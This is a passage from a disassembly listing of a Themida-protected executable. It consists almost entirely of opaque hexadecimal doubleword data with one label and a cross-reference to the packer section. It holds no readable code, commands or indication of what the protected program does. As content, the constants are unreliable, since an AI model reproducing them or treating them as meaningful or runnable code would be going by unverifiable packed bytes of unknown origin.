		dd 24E8E600h, 2BB501Fh,	1CD8D1Ch, 0F177BD78h, 0E2E54314h
		dd 7DC48131h, 0AD8A47F7h, 0B715E6C3h, 0A9CB760Fh, 3A5EECCCh
		dd 0C1BDF88Ah, 6D1EE698h, 70D7DFAh, 40DFBAE1h, 6FEh, 44EE86B4h
		dd 36E088ABh, 2AD4989Dh, 1BC5A391h, 0EB8B482h, 54E2D996h
		dd 62D56E18h, 6DCB640Eh, 81C05903h, 0D16349F3h,	6050AF3Fh
		dd 4FD63C23h, 0D65D2D14h, 29E4C192h, 0C47F5C18h, 6520FD73h
		dd 0C0C09DD3h, 8A8AE436h, 0D76A1A00h, 515BF39Dh, 0E814FF3Ch
		dd 7, 11C3041h
dword_59B868	dd 3F8B0000h, 2542A6A8h, 0B5DD794h, 1B79CFADh, 0F8B8D96Bh
					; DATA XREF: Themida_:00559688o
		dd 73301F24h, 14CFACC4h, 1B794A22h, 0FAB76718h,	0CB7D2D47h
		dd 9FB4A539h, 8D00A8DCh, 267E2B49h, 0EFFF9121h,	0FCDC9FD0h
		dd 741C7A4Bh, 310E66DBh, 0ED9DFB51h, 98D8125Bh,	5DD081E6h
		dd 0E107070Ah, 47D1704Bh, 0FD000006h, 0F48D373Dh, 0E67F293Fh
		dd 0DA731D4Fh, 0CB640E5Ah, 0DF57016Bh, 610B2B00h, 57191EB7h
		dd 4C2414ADh, 3C3809A2h, 881AAC92h, 23605174h, 14981F85h
		dd 0C6D6682Dh, 0D32542A6h, 0EFA15122h, 42A6495Dh, 4BA95A25h
		dd 0FE8CB570h, 9F5A3739h, 3607D898h, 4BCF5959h,	0F1AF44h
		dd 0C9A6CA6Eh, 0B0E465F8h, 0EB560F6Dh, 6D7999Fh, 0CD9B9956h
		dd 0BD2FC76Fh, 0BC14FF7Ch, 7, 443015h, 148B0000h, 0BA6A472Dh
		dd 0F1139A25h, 8BE99048h, 1A1B6FD2h, 0C19ECE68h, 714E1FF0h
		dd 0EEB7DB6h, 0C638CC5Eh, 18C92542h, 0B491D75Dh, 0C1AD6DF1h
		dd 4EDD72FEh, 0A49E359Bh, 97832987h, 762054EDh,	4FF9h
		dd 621F5400h, 823B99D3h, 48D8B5BFh, 2542A6B1h, 0E7C4AC8Ch
		dd 0A661072Ch, 344E1C92h, 19173037h, 24A86B48h,	840A78F6h
		dd 0ED64F996h, 9AD3D673h, 0FBCCA494h, 175DE49Dh, 9323B567h
		dd 202542FDh, 0DC25B3ADh, 0E0B1D106h, 805D1325h, 22A951AFh
		dd 0D6682D14h, 2542A6C6h, 0CE6722D3h, 1FF0C19Eh, 5555DA6Fh
		dd 18F6393Ah, 3694D85Dh, 0DDAD7B5Bh, 65361359h,	3752E494h
		dd 5C1F2476h, 33EFBABh,	132EC771h, 754A129Fh, 4D53B7Ch
		dd 2BE27727h, 0CAD514EEh, 0E6341270h, 4C40D282h, 0DDE6F99Eh
		dd 75BF7C2Ch, 2AE795F3h, 0D8EC7E17h, 0E9D6F8DFh, 2FBD6738h
		dd 0CEABC572h, 75FF42FDh, 91E35E17h, 6046D4B4h,	76153934h
		dd 5FD48FC0h, 8A5B2C09h, 644D48DAh, 8E23ECFFh, 16D6B071h
		dd 5053B131h, 23D32C9Fh, 6944E72Ah, 499CAh, 89EB4F00h
		dd 7BED46DFh, 6FFD38D1h, 60082CC5h, 53191DB6h, 7D7231A9h
		dd 7009B3B9h, 66FFA9C7h, 5BF49ED2h, 0FEE48EE6h,	5ECADA6Ch
		dd 71D72360h, 472D14EAh, 373D049Dh, 0FE6ACA87h,	17F25021h
		dd 0B28FE55Ch, 4E2B3DF7h, 0EECBA593h, 0FB73A72Bh, 0DBA971FBh
		dd 99D2F66h, 0E42542A6h, 6E3F1C54h, 3DE7B869h, 2844F2AFh
		dd 641C7A4Bh, 14FF3C4Ah, 671B22B7h, 741CB864h, 0BD72D2E2h
		dd 5D2EDFDAh, 638BFFh, 0EFE40000h, 0CE8B3B59h, 76260365h
		dd 42A6D0E4h, 5F30E125h, 0D0C15301h, 431F455Ah,	0ADB99A8h
		dd 0EB9B9D5Ah, 7344214Bh, 0D56AF8A2h, 134495Bh,	40CE2C0Ah
		dd 0DCA040A6h, 66ED390h, 266E4973h, 2D8B1A84h, 0FDA7CD74h
		dd 86B2D464h, 6B3C0DEAh, 0FAC526BBh, 1CABB58Ah,	0BC99D761h
		dd 13B28DEBh, 3B2h, 5159EF6Eh, 0D9AA87E5h, 0EFC65808h
		dd 0C11F45A7h, 1D6A342Ch, 9D9A4879h, 0A1A402D3h, 0E95813F0h
		dd 67EBAE8Bh, 191FDCB3h, 4BA97A57h, 65CFDF6Dh, 74840B41h
		dd 7748B8DDh, 0FA39F6A6h, 62C0916Eh, 926D02B4h,	47E67963h
		dd 925BE947h, 56E6A79Eh, 0BF8212A4h, 5E0FD687h,	0A24CFD00h
		dd 823256E4h, 80BE05F0h, 35E596ECh, 0B9ECBE78h,	4344A2A0h
		dd 0C19CFACBh, 5F3C3006h, 0A9B66408h, 8845F593h, 0DDEBBB9h
		dd 866F01AFh, 15F2E2D2h, 41F7B464h, 9029D12Fh, 2BE6C3B1h
		dd 26B45E16h, 0C29FCD69h, 67B593F1h, 0A9F5101h,	8334725Bh
		dd 0C250AECDh, 0F8CFEDAFh, 0A380E479h, 9A0A9A2Ch, 0E697C42Fh
		dd 0FB285653h, 0CE99A9Dh, 2F6E6C7Ch, 1879BFC4h,	2F6E7686h
		dd 1D283C4h, 0D2E27424h, 0DFC42F6Eh, 0A8C0732Eh, 968408CBh
		dd 6E5767F9h, 0B364C42Fh, 4AD05AE2h, 92F0B13Bh,	50C8F5h
		dd 0EF210000h, 0F98B3B59h, 1F45A580h, 0F98DAB68h, 0B060313Fh
		dd 0A0598E1Eh, 0C6A1BDCh, 0F6A85809h, 0A0595064h, 0E38DABDCh
		dd 0F4CF2DDEh, 0A0595464h, 0B348DADCh, 1C40741Fh, 0D4641FACh
		dd 82983E9Ch, 1DF8E903h, 0D690EDh, 25E20000h, 0AC7D5A0Eh
		dd 2D14A74Eh, 0C495DB5Dh, 620A2CE7h, 0FD77CA85h, 0D6DC6520h
		dd 0B9DA24F5h, 0DD8758A9h, 42FE526Fh, 0DE96AB25h, 0CEA69B34h
		dd 99D7611Eh, 0AA80603Bh, 0DA6C1ECEh, 2542F0CAh, 1AC826D7h
		dd 0E0F4D368h, 7E76D3DBh, 1DFA72C3h, 560EE4Ch, 961F459Eh
		dd 0AF7D3BE5h, 978719C9h, 24E6AABAh, 3006C373h,	0CD88E452h
		dd 852F0074h, 23B345F7h, 0B0D681F5h, 4EE8A1FFh,	124CAB1Eh
		dd 0D2ADE104h, 1E533h, 0D59F9B00h, 0C7A1922Bh, 0BBB1841Dh
		dd 0ACBC7811h, 9FCD6902h, 0C9BE7DF5h, 0BC55FF6Dh, 0B24BF57Bh
		dd 0A740EA86h, 4A30DA9Ah, 5D9626B8h, 0BD232360h, 4A221436h
		dd 1359DD9Ah, 0B1BB7B36h, 0D43203D4h, 0C6AE932Ch, 8CE85916h
		dd 1423DEAFh, 0CF56FE5Ch, 8B3B59EFh, 0A6B747D9h, 0D1442542h
		dd 6BB45BCBh, 97F5C60Bh, 0F38537E9h, 2542CDE3h,	53E13FF0h
		dd 1F45CE26h, 94D3FA6Dh, 0A9C3FBCh, 3CCC5C39h, 42DCA153h
		dd 0D5731BB0h, 0CE97FB4h, 9EBA83Bh, 0B8620866h,	1CDB23CDh
		dd 0CC5AEDh, 14B30000h,	0AF6A472Dh, 0A035E587h,	3647A106h
		dd 0E2BD1BB5h, 42E14F52h, 0EA049925h, 0AEC67BDAh, 0AC6D00D1h
		dd 0FEB715CBh, 602E6F43h, 2AFA87D1h, 47ECA959h,	15734421h
		dd 286DD46Dh, 422D0696h, 11E29325h, 0A2C65434h,	6B0135F2h
		dd 0FBAD5F0Dh, 422D5569h, 0E391B025h, 41CF2DDEh, 1F451CE4h
		dd 5E1CC677h, 0F57FC2C8h, 0C2858518h, 7C85D5FEh, 982ADAABh
		dd 0E6AB3945h, 0B87525D6h, 0AB44EE7Eh, 96EE18Bh, 96E1038Fh
		dd 0BC1CBBh, 0C8720000h, 0CA6902ACh, 0DA5BF49Eh, 0E54FE892h
		dd 0F640D983h, 9754CC76h, 2CD696A0h, 22CCA493h,	17C1AF89h
		dd 7B1C37Eh, 0E9FD8F21h, 0FA23605Ah, 22140D94h,	5BDD9A4Ah
		dd 9673815h, 0FB79C861h, 6D1FCA51h, 42A6CBDBh, 0C927D825h
		dd 66433110h, 44F496ABh, 0C37E4F2Ch, 4819F67Eh,	390FCD77h
		dd 85CBA699h, 0D9895140h, 42C1B747h, 0C2934425h, 9F018012h
		dd 0E1921F24h, 0ABC17431h, 8AB7724Dh, 9AA740EAh, 316DFDDAh
		dd 0C4DB267Ah, 97AADA40h, 0A79A33DDh, 0AB40F0CDh, 0A20E7241h
		dd 36EF4D9Ch, 368D6AFEh, 45FC8892h, 55EC852Fh, 996AFE35h
		dd 0E44F0CBCh, 3892684h, 0E4000000h, 2614B65Dh,	8BB6714Eh
		dd 0E7510CE9h, 46F1AC89h, 0A4924D2Ah, 630EBC8h,	66CE8966h
		dd 0CB6A2502h, 2A09C4A1h, 579C613Eh, 0C781E789h, 4, 3304EF83h
		dd 3C31243Ch, 243C3324h, 530685Ch, 1C890000h, 0A836824h
		dd 0C890000h, 68B95124h, 81345478h, 0D7630CE1h,	85E18100h
		dd 8175EE58h, 5A2792F1h, 3E1C161h, 78B7BA52h, 0D2F732F9h
		dd 8102EAC1h, 0BFECB6F2h, 5AD1011Ch, 6750F181h,	0CB893ED3h
		dd 0C8B5459h, 4C48124h,	83000000h, 1C8904ECh, 8418F24h
		dd 592434FFh, 8B04C483h, 8951241Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 81A0E95Ch, 6BE4FFFAh, 0C53638C7h, 4396E534h
		dd 22FD83B8h, 0FFC50306h, 68AA95E0h, 0B18D5502h, 77BEA616h
		dd 0C97E1544h, 94580010h, 2E38013Bh, 0B626BA4Dh, 19D6F17Fh
		dd 0E1BDD111h, 0C8464A6Bh, 19EA3D60h, 1E8D8D1Ah, 890622FFh
		dd 1D0745BDh, 0D18D8906h, 0B6061D20h, 1D85C731h, 61D33h
		dd 6A000064h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0C7FEC352h, 1D2BF985h,	6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F8AC5723h, 125DB5FFh
		dd 6A061Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0F9A3B4C3h, 8960143Bh, 1D2A519Dh,	0CBBF0F06h
		dd 1995FF61h, 6A061D15h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 37A8C353h, 0A984C227h
		dd 7D9589A7h, 6A061D07h, 995FF00h, 8B061D12h, 0C91FEBC0h
		dd 9B5CB4ADh, 0D48170C2h, 8172AD47h, 0D1122646h, 0A1DCF065h
		dd 1121EDBCh, 0DF514EC7h, 7DE970E7h, 60000001h,	6C4FFE5Dh
		dd 0D76FC201h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh
		dd 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h
		dd 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h,	0B2A4E56Dh
		dd 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h
		dd 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 3736D1F8h, 0D3C20DA4h, 40CEA442h, 1078E9h, 2CD6800h
		dd 28E90623h, 68FFFB45h, 62303D6h, 0FB451EE9h, 56268FFh
		dd 14E90623h, 68FFFB45h, 623063Eh, 0FB450AE9h, 79E68FFh
		dd 0E90623h, 68FFFB45h,	6230877h, 0FB44F6E9h, 92868FFh
		dd 0ECE90623h, 68FFFB44h, 62309DAh, 0FB44E2E9h,	0AE468FFh
		dd 0D8E90623h, 68FFFB44h, 6230B59h, 0FB44CEE9h,	0C1C68FFh
		dd 0C4E90623h, 68FFFB44h, 6230CC1h, 0FB44BAE9h,	0D7A68FFh
		dd 0B0E90623h, 68FFFB44h, 6230EBCh, 0FB44A6E9h,	0FB668FFh
		dd 9CE90623h, 1CFFFB44h, 0C5F97EEFh, 6FA32855h,	1A4ED33Ah
		dd 0C8FC81E2h, 10A92E5Fh, 2647C028h, 0D5306DA1h, 81E21C50h
		dd 315AC8FCh, 509A19ACh, 9366C6AFh, 7B128083h, 261E405h
		dd 45C707B8h, 4FB51C95h, 0C0D99050h, 0BA8C3CCDh, 48CD3E64h
		dd 58839FBh, 42FD47A6h,	3095453Ah, 3A8E319Fh, 0D3649545h
		dd 46549E23h, 0EC976027h, 641B8B5Bh, 636CA621h,	5FAA3192h
		dd 38B8FB2Fh, 58h, 0EFD262A6h, 18C30D6Ch, 959545C7h, 7506F964h
		dd 0C7F7A8F2h, 4ADB9545h, 18B6159Ah, 8E402BADh,	0AE87714Dh
		dd 1D2137F9h, 79FF6F1Fh, 4F976086h, 3969EEBEh, 0ACE9ECFh
		dd 0AADD2566h, 0AF5FF426h, 0A6C4983Fh, 55B6876Ch, 0FA513BCEh
		dd 0FF5CB8h, 0A9D90000h, 0CE62127Bh, 61E4057Bh,	0E898F531h
		dd 2647C016h, 69820056h, 823D87E6h, 709545C7h, 0F1108BDFh
		dd 8DA8A21h, 981B4CB2h,	2FBCD8FAh, 5101A513h, 94F57CCAh
		dd 0E61C9545h, 56CC0085h, 6014B235h, 0ED91EBEDh, 67547F7h
		dd 0C610932Eh, 976052F8h, 0AC4ACD5Eh, 590FAB54h, 0D05707CAh
		dd 8D10B183h, 3A59F9EFh, 0C8F5181Eh, 98721532h,	62E7972Ch
		dd 3CADD303h, 7EEF166Ch, 0D28217AEh, 81FCA062h,	0BA3DCE6Eh
		dd 6BF0118Ah, 0BC5FA908h, 926681E8h, 80FB5101h,	0CD7D5561h
		dd 9664B0A8h, 0DC843h, 1079AE00h, 0BA23578Bh, 65880135h
		dd 1370ACE0h, 0C0215A8Eh, 52BAA23Bh, 0FF33B829h, 0AEE26786h
		dd 5A8E1374h, 0AB3EC324h, 0C539E22Ch, 12159366h, 0A3ED4CA4h
		dd 9545C7F8h, 0CDC0975h, 41F18275h, 0CC51B0EBh,	0A1CC3969h
		dd 0E0B0DD4Dh, 0DD439949h, 65C427ACh, 45C7601Bh, 0DBD4E95h
		dd 0EFD26279h, 0C65C226Ch, 0E1729760h, 38FAA111h, 18E96CA7h
		dd 4CD930B7h, 0D9BEB8FAh, 2C000000h, 58E61C4Ch,	1082716Fh
		dd 5F0FA48Eh, 0A2729B09h, 2FB2D34Ch, 742771D0h,	5A9545C3h
		dd 0C3A05BC9h, 0FD8E9545h, 58F67B4Dh, 0B186FD73h, 2D9D4D68h
		dd 9545ED44h, 0B33657CDh, 3876AB15h, 186CA86Ch,	47CE7EEFh
		dd 0AC7CED13h, 449DF73Dh, 0C715E1FFh, 760B70A8h, 86145EE1h
		dd 0AC97605Eh, 0EB49961Bh, 0D9B924A9h, 871C9BDAh, 0A429BA04h
		dd 55856E81h, 3C69BD28h, 0BA6A01D1h, 81B134C5h,	2E62E706h
		dd 0BA8894F5h, 0FFB0A91Fh, 0CBFDE31h, 76A50000h, 0DA4E8207h
		dd 81F82CB1h, 7BA3D75Ch, 0D651850Ah, 0B19932B7h, 2AAFDE49h
		dd 0D95E8FF6h, 850A7BA5h, 35BAD351h, 26D923A2h,	0C9366C4h
		dd 7B9B09h, 0FA285CE1h,	0BA90C91h, 6AE4506Bh, 0D18AD48Bh
		dd 0BD95458Bh, 53E7972Ch, 14E4057Bh, 0A22740BEh, 3781E03Fh
		dd 9545C784h, 0B06BD96Ah, 9E9545C7h, 46EE5D0Dh,	0C798438Dh
		dd 0EB159545h, 2013AA7Ah, 0C424CD8Fh, 1CAD4A21h, 44BA0487h
		dd 0AA9760F5h, 22D94919h, 0A76CA6D6h, 0E83E0E7Fh, 127C4CB1h
		dd 0EBC5FC5Dh, 0A2C33A6Ah, 0B68B3BD2h, 5F3BCE55h, 845CB8FAh
		dd 0CA000000h, 7FEC1C4Ch, 0F96818AFh, 2F5EC73Bh, 0B033C85Fh
		dd 60CAE466h, 50CAFA97h, 0F98A7F2Fh, 3E02B929h,	80016CA7h
		dd 8B8D550h, 0BE4BD233h, 0D9B8FA42h, 4Fh, 0EFD26247h, 64AE0D6Ch
		dd 9545C7BBh, 33440697h, 8B6E1E25h, 0DC1A8A3Ah,	0A2976071h
		dd 2AD14111h, 196CA656h, 92C2E748h, 0A0C13B6Bh,	21A439D0h
		dd 0A65624D7h, 0C9790A6Ch, 0FADF27E2h, 1D70B8h,	0BDED0000h
		dd 4972F44Ch, 84307ABDh, 7EAB3FEFh, 8A2h, 0A9529CFBh, 859545C7h
		dd 62B044F4h, 226CEFD2h, 9766C8E5h, 0C5F57809h,	75A92E5Fh
		dd 9F0EDE0Fh, 5FA92C95h, 6EBB7E7Fh, 91C144D5h, 8E25F518h
		dd 0FB2959DEh, 0ABD90D92h, 31037242h, 786F0D90h, 0C56B949h
		dd 0D923A858h, 64DA61AFh, 3CF80495h, 95B6CF57h,	0B3374C7h
		dd 0E2190000h, 56C2F67Bh, 3D6CA025h, 0EF174BD0h, 5AC5F97Eh
		dd 250DA62Bh, 9E2342BDh, 4DD2336Ah, 0F97EEF19h,	0A92E5FC5h
		dd 924D9716h, 809366C2h, 0BA610F7Dh, 169545C6h,	0F020A31Eh
		dd 0FD6E98B4h, 0E933B868h, 68987E9Ah, 193570C0h, 55EA7FEEh
		dd 10B183D0h, 0C5205D8Dh, 752670F5h, 596C98C7h,	0AADF33C8h
		dd 0C40E9343h, 6EBA818Fh, 5F8F12A3h, 1545C821h,	52A878E5h
		dd 50E7B728h, 50840BBBh, 6283FAD2h, 4878FDCDh, 45DCACD1h
		dd 0B30E2695h, 80FEE630h, 0A4D464DDh, 685D0D7Eh, 0C5F554D7h
		dd 45F6405Fh, 2978D2C5h, 0FD530398h, 0ADE16687h, 0D6461677h
		dd 0F8D2C523h, 971AA78Dh, 0EC8FD938h, 0C2F8D2C5h, 45A0DD31h
		dd 0BE2EDE75h, 0FAF7E368h, 2FE1ED7Eh, 0C23CF319h, 0A57A1F4h
		dd 0CE3D0000h, 0B2E61A9Fh, 1990C449h, 0C33B6FF4h, 0BEE91DA2h
		dd 4931CA4Fh, 0C247A6E1h, 71F6178Eh, 1DA2C33Dh,	0CD52BBE9h
		dd 0CE71BB3Ah, 0A49366C1h, 1C4C33A1h, 964993E2h, 7C9545C7h
		dd 37A656EBh, 136297FDh, 14819EF3h, 0A5B2FC7Fh,	8997674Fh
		dd 0DF4575F8h, 37166481h, 0EDDEA0C9h, 0E2037A60h, 0D033B84Dh
		dd 0E2742771h, 0C95A6C98h, 2C5DC319h, 0E10C79A9h, 7BDA5F31h
		dd 98E28E31h, 7FD3646Ch, 0C534E405h, 70CF526Fh,	55A9C240h
		dd 53EABA2Bh, 0A41833A3h, 85166EBAh, 39AAD202h,	9D22D269h
		dd 53D6376Dh, 53CCFA23h, 36CB6232h, 981FCF66h, 4ACD3E64h
		dd 35207AACh, 14C4E8CAh, 6061D342h, 8B347EDDh, 6766FF19h
		dd 0E77CED17h, 4CFC6D93h, 5F117DC7h, 639364DDh,	271CCC3Dh
		dd 0B9E31396h, 0B4139848h, 1AEA1B84h, 77DD383h,	0BC8CFD27h
		dd 0A80B9025h, 5BDE0F78h, 0D2196E11h, 3B34478h,	0C92877ADh
		dd 0D219DC7Fh, 0B321B278h, 78D21908h, 0F0C055E6h, 0D219DB80h
		dd 0B7EF1F78h, 197D1E68h, 0C05178D2h, 70C45B2Bh, 0B827D734h
		dd 78C2457Ch, 7AF05F2Fh, 0CFFF8213h, 7FB33851h,	0A918E801h
		dd 69B3368Bh, 70135F22h, 78E7B748h, 388205BCh, 76310B0Ah
		dd 0A3535FF0h, 4AC93831h, 8F7297Ch, 0AEDD0000h,	1286BA3Fh
		dd 0F93064E9h, 0A3DB0F94h, 1E89BD42h, 0E9D16AEFh, 62E70681h
		dd 1196F72Eh, 0BD42A3DDh, 6DF21B89h, 6E115BDAh,	449366C0h
		dd 0AE4CD341h, 0F43BD07Ch, 0F44AFA38h, 378D5D8Eh, 4D0A0C9h
		dd 86FCF253h, 0EE1BE065h, 0A9BF17EBh, 7, 4FB7E17h, 0FAEC0000h
		dd 368BA9E1h, 0DC9769B3h, 2CBD9760h, 728EDF29h,	4AEABDACh
		dd 0FD56F477h, 0CC2B0C98h, 569611D3h, 17FC511Bh, 0E698E267h
		dd 3CB1B72Eh, 0A171920Ch, 0E6655A0Ah, 1F332C48h, 18866BB8h
		dd 0B5FFC067h, 5525BA4Bh, 0F0734EE6h, 0DFFEAEA6h, 0C043D4B7h
		dd 27F71490h, 18C30D90h, 0F68FDC48h, 30B565h, 0B0E46982h
		dd 0C0215A72h, 1629AF0h, 0B1059A31h, 737F1479h,	89D36CCDh
		dd 1E136634h, 4000008h,	0ADE16697h, 578B107Dh, 236BB22h
		dd 0B0E4699Ah, 0F8911677h, 0E7FA810h, 0BD285589h, 699A0438h
		dd 1972B0E4h, 38820194h, 9366CF87h, 7BFA686Bh, 3161E405h
		dd 43C898F5h, 45C746F9h, 69B2C95h
		dd 0F52E8456h, 72C20F94h, 382CC4Fh, 9F976781h, 0C745F640h
		dd 98296C98h, 9C598DD6h, 0BE6E27A6h, 85B538C9h,	3569EE1Fh
		dd 5FCE9ECFh, 0A69ECD5h, 985B1FC0h, 0B262F36Ch,	669ECE2Dh
		dd 0E0CC4305h, 63BD69B5h, 0E90843B3h, 95266EBAh, 45B6E212h
		dd 0A92EDE75h, 5DE20B79h, 2D5ECAFAh, 90F9277Dh,	0D0316AC0h
		dd 0B29330C4h, 0F04311B0h, 76Dh, 30B52453h, 0DA5F8CFCh
		dd 850A73A6h, 33B8D551h, 0E06584FFh, 8CF75F47h,	79A4D85Dh
		dd 2953870Ch, 81FF33B8h, 0D150E368h, 66CED487h,	49B7BA93h
		dd 0F8A3ED4Ch, 0D69545C7h, 55B8F145h, 4FE36A5h,	53D66B98h
		dd 6781C609h, 619CEC97h, 65AF3404h, 6C98C7BAh, 0DD720798h
		dd 0D4F42A5Ah, 5CFF49A4h, 326C98C7h, 0F4770CA1h, 7C2C59C4h
		dd 0F1F492F5h, 0D7EAAA7h, 0AABC844Bh, 0D7EA4FAh, 9C66CE3Dh
		dd 0E86B006Dh, 3FE02A89h, 136C98ADh, 0AD6B1482h, 0B6476C98h
		dd 11378106h, 876EBDC7h, 0FF53CAE9h, 0CBCE42Eh,	0F07A8617h
		dd 0C1B0AC16h, 6BBA0F3h, 6AA10000h, 0DE4A7E03h,	85F428ADh
		dd 679FD358h, 0D24D8106h, 0AD952EB3h, 26ABDA45h, 0D55A8BF2h
		dd 810667A1h, 31B6D74Dh, 2AD51F9Eh, 89366CEh, 57B9705h
		dd 308F14E4h, 45C735E6h, 5881995h, 45C700BBh, 0AD5DEE95h
		dd 84012957h, 6D029969h, 0BF20D19Dh, 0AD325BC9h, 174A21E8h
		dd 776BFh, 7EE40000h, 2B1h, 0E4057BECh,	328FA514h, 0C9B250AFh
		dd 0C6C19035h, 79B36144h, 4F2F51B7h, 33D982CCh,	24B59545h
		dd 3CCB0474h, 0B9579766h, 45E60011h, 0FCF1A1A4h, 93BEB3Eh
		dd 98441CBFh, 9F61F26Ch, 6BEE7520h, 98CA7E21h, 2EC3546Ch
		dd 0DE0F75A9h, 1E4FB80Eh, 0D9E84C99h, 8C240C56h, 4FCE6EBAh
		dd 0FFC95A05h, 24A73866h, 0FFC921DAh, 0E77C0D66h, 5CA60564h
		dd 66FFC9A3h, 0F84EFE8Fh, 0A8DC618Ah, 0BC41117Ah, 0C968135Dh
		dd 0B54666FFh, 1574AF05h, 635ED645h, 0B81896E0h, 4DDE64DAh
		dd 0D020B941h, 6FC290B6h, 5B1h,	74F96097h, 1EA3C840h, 0C94EBFEAh
		dd 77FC6995h, 24A9D843h, 0C03BA38Bh, 0BDE81CA1h, 6D97CB50h
		dd 0DD4377FCh, 159427ACh, 66CD10CBh, 8DFBFE93h,	14E4057Bh
		dd 572740BEh, 5479DA8Bh, 3387F424h, 91E797C6h, 1275FA13h
		dd 3A04EF74h, 479B3F97h, 44DBABD2h, 745CAD94h, 73BBF17h
		dd 0A9000000h, 1557Eh, 57BEC00h, 0FB5AD8E4h, 31FFA46Ch
		dd 53CDEh, 84F52200h, 2E5FCBFFh, 0D90475A9h, 87E42054h
		dd 3455CE02h, 0C62E16AFh, 73A72C5Dh, 2256DB0Ah,	0CE0287F8h
		dd 1FB23750h, 0CCA556A0h, 86899366h, 0ED1C4C18h, 942944C1h
		dd 277D2DC4h, 0A758A2F9h, 0FB9545C7h, 45C70EB1h, 6053E495h
		dd 0F98652A2h, 1960414h, 421273ADh, 0F04616ABh,	0BD8959B2h
		dd 4FB5AB0Ch, 0F8C8215Fh, 0E447CC61h, 0A2803B85h, 979F9545h
		dd 2EDD3804h, 0A959EADDh, 181A47C2h, 1B50BFh, 2FCD0000h
		dd 0D65B8F9Ah, 5DC81C5Bh, 19C96030h, 0AC7E85h, 7EEC0000h
		dd 0A6h, 0EFD262ECh, 0C8E9226Ch, 74059766h, 0C2FF35A4h
		dd 5483F53Fh, 0E0716EBCh, 0AD2168D4h, 0E83B09B0h, 479h
		dd 3CC1285Fh, 0E66B9008h, 911647B2h, 3FC4215Dh,	0EC71900Bh
		dd 98036B53h, 75B0E469h, 255F9318h, 950B3FC4h, 0DD5CEF74h
		dd 66CBE893h, 55C3C693h, 6CEFD262h, 6114F422h, 0C649DA97h
		dd 1DBE0867h, 0F16CA773h, 2F5AB060h, 77D639BEh,	0A773722Dh
		dd 1FCF606Ch, 0A77309AFh, 0E51F4F6Ch, 7ED484h, 0FB2E62E7h
		dd 73A15AA4h, 0FC8D6CA7h, 6449767h, 0C1000004h,	3675A23h
		dd 619C3DC5h, 89D3404h,	0D262C458h, 0E9226CEFh,	59766C8h
		dd 0FF35A474h, 83F53FC2h, 716EBC54h, 2172D4E0h,	410FB0ADh
		dd 3D4EEh, 1C4DBA00h, 0C6376397h, 719C0D41h, 1F4CB8ECh
		dd 0CC3D669Ah, 5EC6AE47h, 0B3FC425h, 0BAEE7392h, 669A1F40h
		dd 0B74ACF38h, 0CB4DEE38h, 1E219366h, 0EFD262B0h, 0AF6F0D6Ch
		dd 0A375F08Fh, 86C535E5h, 0AC97667Ch, 3A68981Bh, 0E61E4ED1h
		dd 6E1EB585h, 2E4DB3E7h, 98733BE4h, 823D876Ch, 706C9873h
		dd 0C65BECDFh, 0E19AE443h, 0CD6C9873h, 4BBA8C3Ch, 0F655D8E9h
		dd 0D33DC058h, 16D8C1A2h, 7F0D787Eh, 979298Eh, 6EBAA095h
		dd 3B6BEE7Fh, 48B5E5C5h, 0E5C07BC5h, 1DAE66FFh,	0A8D50588h
		dd 0D2068D3Dh, 0FC6B3BACh, 0BC068938h, 64DA948Ah, 7BDBE778h
		dd 62B6D00Bh, 31B4194h,	8A010000h, 7EAADE63h, 2554880Dh
		dd 87FF33B8h, 72ADE166h, 0DF58E13h, 860B7AA5h, 35BA2B52h
		dd 0E1668701h, 911677ADh, 8A357FFEh, 689366CAh,	57BF765h
		dd 40BE14E4h, 607509FAh, 8E231ED3h, 4978BC09h, 0FA6396C6h
		dd 2D7BC54Ah, 139760B4h, 0FD2DB282h, 0FB926283h, 9024DB4Bh
		dd 0A2236CA6h, 9046F943h, 9B2C6CA6h, 2EB516EBh,	0B8FAA0DBh
		dd 2ABCh, 1C4C2A00h, 60CF7FECh,	206AEDD4h, 9760C65Ah, 9F0FDF70h
		dd 6CA738F8h, 2EB516E7h, 0B8FA4CDBh, 0E4BCh, 9E093900h
		dd 4C2BBF6Fh, 50E591AEh, 0D686A056h, 19E90280h,	0A62958C3h
		dd 0CB42FD47h, 9F309545h, 59C71DEFh, 0CB47F842h, 9A2B9545h
		dd 0A1DF3505h, 6495C548h, 74C249F9h, 9545C0FDh,	0F87DEE14h
		dd 5D2D5EC4h, 0F87B46EEh, 60D714AEh, 6891A97h, 37CACD6h
		dd 0E67B12E2h, 1C4CAF36h, 65D484E1h, 106FF2CFh,	3FB467B1h
		dd 99A6CA7h, 0A73FE09Bh, 8D3DCE6Ch, 0D2BDBE08h,	0D3916E80h
		dd 679E3095h, 40FB4544h, 2E6686DDh, 0F073089Dh,	0DD944791h
		dd 2A7A6686h, 48F88DFEh, 0F96893C3h, 0A6C74074h, 0A9E2449Ah
		dd 7CCF9DB0h, 1D9h, 9C2148BFh, 46CB3068h, 0F176E712h, 9F2441BDh
		dd 4CD1306Bh, 3863CBB3h, 951044C9h, 45BFF378h, 356B9F24h
		dd 3DBC4FD4h, 66C948F3h, 0B5232693h, 5CE1007Bh,	0C91FA28h
		dd 1D2629Ah, 45C704B7h,	0C459EA95h, 7F3A341h, 0FB55339Ch
		dd 0E67CC64Bh, 0CC9760C9h, 1D88B83Bh, 0D98920F0h, 0C9E09707h
		dd 0EDF6CA6h, 5BE326ADh, 92C2B8FAh, 9128F869h, 0D04EE1h
		dd 4CBC0000h, 0AF7FEC1Ch, 2B58C418h, 0BE14C45Bh, 1572740h
		dd 27976786h, 9545CC42h, 0AB3059C7h, 10E00977h,	3A6F93A1h
		dd 0D76C03D3h, 2B480A54h, 0E576689Fh, 6A5FFD60h, 724D8B53h
		dd 60D443F3h, 2A94DE61h, 86E8029h, 51214AB8h, 43A225BAh
